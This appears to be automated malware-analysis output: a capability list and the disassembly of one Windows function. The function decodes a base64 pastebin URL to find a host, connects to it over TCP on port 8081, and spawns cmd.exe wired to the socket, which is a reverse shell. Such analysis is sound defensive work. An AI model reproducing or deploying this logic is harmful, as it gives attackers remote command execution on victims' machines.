Function at 0x1400024c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x1e0
mov rax, qword [0x140030030]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x2c
lea rdx, str.aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3ZrZWNuMHFS
lea rcx, [rsp + 0x50]
call fcn.140002cd0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140002250
nop
cmp qword [rax + 0x18], 0x10
jb 0x140002527
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.140001ea0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x140002578
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002573
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000285e
call fcn.140006090
movdqa xmm0, xmmword [0x14002b3f0]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400025cb
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002864
call fcn.140006090
movdqa xmm0, xmmword [0x14002b3f0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x90]
call fcn.140002250
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140002600
mov rbx, qword [rax]
mov ecx, 0x202
lea rdx, [0x1400329a0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400027b2
xor esi, esi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea edx, [rax + 1]
mov edi, 2
lea r8d, [rax + 6]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x140032998], rax
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdx, qword [rax + 0x18]
mov rcx, qword [rdx]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
lea edx, [rsi + 0x10]
mov rcx, rbx
call fcn.14000c4c8
mov word [0x140032b50], di
mov ecx, 0x1f91
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x140032b52], ax
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x140032b54], eax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8d, [rsi + 0x10]
lea rdx, [0x140032b50]
mov rcx, qword [0x140032998]
call qword [sym.imp.WS2_32.dll_WSAConnect]
xorps xmm0, xmm0
movups xmmword [0x140032930], xmm0
movups xmmword [0x140032940], xmm0
movups xmmword [0x140032950], xmm0
movups xmmword [0x140032960], xmm0
movups xmmword [0x140032970], xmm0
movups xmmword [0x140032980], xmm0
mov dword [0x140032930], 0x68
mov dword [0x14003296c], 0x101
mov rax, qword [0x140032998]
mov qword [0x140032990], rax
mov qword [0x140032988], rax
mov qword [0x140032980], rax
movabs rax, 0x6578652e646d63
mov qword [rsp + 0xd0], rax
xor edx, edx
mov r8d, 0xf7
lea rcx, [rsp + 0xd8]
call fcn.1400085e0
lea rax, [0x140032b38]
mov qword [rsp + 0x48], rax
lea rax, [0x140032930]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400027b2
mov edx, 0xffffffff
mov rcx, qword [0x140032b38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x140032b38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140032b40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x1400027f2
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000286a
call fcn.140006090
nop
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x140002831
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000282c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002858
call fcn.140006090
xor eax, eax
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140006070
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.14000c948
nop
call fcn.14000c948
nop
call fcn.14000c948
int3
call fcn.14000c948
int3